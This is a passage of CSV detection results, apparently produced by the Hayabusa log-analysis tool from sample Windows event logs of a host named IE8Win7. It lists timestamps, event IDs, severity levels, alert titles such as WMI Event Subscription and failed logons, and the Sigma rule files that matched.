+2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:45.037 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x57d8d,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:46:57.850 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:48:29.225 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:48:29.850 +09:00,IE8Win7,21,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:49:38.890 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:49:38.890 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:50:25.546 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:50:27.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 02:50:33.551 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:50:33.551 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:50:33.551 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:51:17.207 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:51:17.207 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x27f43 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:51:17.207 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x27f73 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:51:17.207 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x27f43,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:53:48.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 02:53:48.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 02:58:14.879 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 03:32:03.644 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 03:35:43.160 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 03:37:00.910 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 03:41:07.910 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 03:44:49.144 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 03:48:33.988 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 03:48:37.144 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 03:48:37.144 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 03:49:28.191 +09:00,IE8Win7,9,medium,Raw Disk Access Using Illegitimate Tools,,rules/sigma/raw_access_thread/sysmon_raw_disk_access_using_illegitimate_tools.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 03:57:47.863 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:00:03.457 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:02:24.316 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x27f73,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:02:44.129 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:02:44.129 +09:00,IE8Win7,21,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:04:09.406 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:04:09.406 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:04:28.750 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:04:55.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:05:04.098 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:05:04.098 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:05:04.098 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:05:59.484 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:05:59.484 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:06:18.921 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:06:25.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:07:16.729 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:07:16.729 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:07:16.729 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:10:27.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:10:27.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:19:23.812 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:19:23.812 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:19:46.750 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:19:52.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:20:01.879 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:20:01.879 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:20:01.879 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:22:39.125 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:22:39.125 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:23:04.093 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:23:08.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:23:18.798 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:23:18.798 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:23:18.798 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:25:30.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:25:30.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:27:14.204 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:27:14.204 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x39a20 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:27:14.204 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x39a67 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:27:14.204 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x39a20,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:34:43.415 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:34:43.415 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:34:43.415 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:34:43.415 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:34:43.415 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:34:54.649 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x39a67,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:36:30.093 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:36:30.093 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:36:39.718 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:36:44.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:36:53.245 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:36:53.245 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:36:53.245 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:38:41.448 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:38:41.448 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x24902 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:38:41.448 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x24936 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:38:41.448 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x24902,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:39:04.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:39:04.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:42:34.667 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:42:34.667 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:42:34.667 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:42:56.213 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 